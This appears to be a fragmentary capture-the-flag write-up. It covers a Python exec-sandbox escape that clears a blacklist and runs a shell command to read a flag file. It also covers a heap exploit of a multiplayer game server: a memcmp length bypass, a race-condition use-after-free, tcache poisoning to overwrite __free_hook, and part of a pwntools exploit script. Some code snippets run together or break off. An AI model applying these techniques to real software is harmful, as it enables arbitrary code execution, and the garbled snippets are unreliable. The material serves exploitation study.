for i in inpt: if i in _: raise NameError("No ASCII letters!")
exec(inpt)
Variable _ is a string with all ascii letters and it is a blacklist.
The program uses unicodedata.normalize("NFKC", input("> ")), so user can not bypass blacklist by entering Unicode characters.
The program executes user’s input with exec(), which allows assign values to variables. And the program allows multiple inputs. So you can clear the blacklist with _="", then read the flag with print(__import__("os").popen("cat flag.txt").read()).
It is a multi-thread program. You can control two players(player01 and player02) to play the game.
VIP Player
It gives win function address as gift to all players. But only VIP players can get libc address and put chest on the map.
You can get VIP by playing lottery (go gambling). In func.h / lottery(), the game generates a random number and convert it to a string rnbuf. Then you can enter your number. It uses !memcmp(rnbuf, gubuf, strlen(gubuf)) to compare if rnbuf and player’s input gubuf are the same. If true, then the player can upgrade to VIP.
But it calls memcmp with the length of user’s input gubuf as n.This means if user inputs \x00, strlen(gubuf) will be 0, and memcmp will not work. The player can bypass the check and upgrade to vip easily.
We upgrade player01 to VIP in the step.
Dangling Pointer
With chest, you can put it on map, and put blocks into it.
Chest structure has a member itemlist, which is a FILO linked list. When a item is put into a chest, the game will create a new inchest structure, save the pointer of the item in inchest.item and push the inchest structure into itemlist of the chest.
func.h / destory_block(). It will be called when a player chooses [3] Destory block in game menu. When a player destorys a chest, the game will (1) free the chest first, then (2) free all nodes in itemlist. Finally, it will (3) clear the pointer of the chest on map.
However, while it is performing step 2, there is a dangling poiner of the chest which is freed in step 1. If the chest has a huge number of blocks, it will take a long time (1s or longer) to free all of them. And you can control the other player (player02) to get_block() to get the “freed-chest” before it is cleared in step 3.
intdestory_block(int client_sock, unsignedlong usernow) { int err; // map selector unsignedint x, y; err = map_selector(client_sock, &x, &y); if (err) return-1; if (x < 0 || x >= MAP_SIZE_X || y < 0 || y >= MAP_SIZE_Y) { send(client_sock, "Invalid position!\n", 19, 0); return0; } structitem *tmpit =map[y][x].item; if (!tmpit) { // map unit / item on it send(client_sock, "Nothing in the map unit which you selected.\n", 45, 0); return0; }
// destory!! if (tmpit->id == 1) { // normal block free(tmpit); map[y][x].item = NULL; } else { // chest if (tmpit->owner != usernow) { // chest owner protect send(client_sock, "This box is not yours!\n", 24, 0); return0; } // remove items structinchest *now = tmpit->itemlist, *next = NULL; free(tmpit); while (1) { if (!now) break;
unsignedchar namebuf[8] = {0}; int err = recv(client_sock, namebuf, 8, 0); if (err <= 0) return-1; strncpy(item->name, namebuf, 8);
send(client_sock, "Done!\n", 7, 0); return0; };
Because of item->name and tcache_entry->next are both placed at the same offset (0x0) and are 8 bytes in size, you can overwrite next of the freed-chest(chunk) with free_hook address by rename it.
/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache. */ typedefstructtcache_entry { structtcache_entry *next; /* This field exists to detect double frees. */ uintptr_t key; } tcache_entry;
func.h / put_block. A VIP player can put blocks on map whether or not there are enough blocks in backpack. The game allocates a new chunk of heap and turn it into a block.
So you can control player01 to put blocks on map until the game allocates a chunk(block) that is on free_hook, and we can write win function address to free_hook by renaming the block.
intput_block(int client_sock, unsignedlong usernow) { int err; // map selector unsignedint x, y; err = map_selector(client_sock, &x, &y); if (err) return-1; if (x < 0 || x >= MAP_SIZE_X || y < 0 || y >= MAP_SIZE_Y) { send(client_sock, "Invalid position!\n", 19, 0); return0; }
if (userlist[usernow]->perm_vip == 1) { // vip // block selector int block = 0; err = block_selector(client_sock, &block); if (err) return-1; if (block != 1 && block != 2) { send(client_sock, "Invalid block!\n", 16, 0); return0; }
// put if (map[y][x].item) { // map unit / no item on it send(client_sock, "The map unit which you selected is not clear.\n", 47, 0); return0; } map[y][x].item = malloc(sizeof(struct item)); map[y][x].item->id = block; memset(map[y][x].item->name, 0, 8); // <- IMPORTANT if (block == 2) { map[y][x].item->owner = usernow; // chest owner protect map[y][x].item->itemlist = NULL; } } ...
Now, destory a block, free() is called. Then we can get the flag.
whilenot (sig == 2): pass info("[Thread-1] Write win function address to free_hook") for i inrange(7): putblock_vip(r, i, 2, 1) # write free_hook r.sendlineafter(b">", b"4") r.sendlineafter(b">", b"6") r.sendlineafter(b">", b"2") r.sendlineafter(b">", b"1") r.sendlineafter(b">", p64(win)) time.sleep(1)
sig = 3
info("[Thread-1] Good bye") r.close()
defclient02(): global sig
#r = remote("0.0.0.0", 8080) r = remote(HOST, PORT)
r.recvline() r.sendlineafter(b">", b"c02")
whilenot (sig == 1): pass
# get chest info("[Thread-2] Get chest dangling pointer") r.sendlineafter(b">", b"2") # choice r.sendlineafter(b">", b"0") # x r.sendlineafter(b">", b"0") # y r.sendlineafter(b">", b"1") # backpack slot
time.sleep(20)
# put it into map info("[Thread-2] Get a chunk on free_hook") r.sendlineafter(b">", b"1") # choice r.sendlineafter(b">", b"0") # x r.sendlineafter(b">", b"0") # y r.sendlineafter(b">", b"1") # backpack slot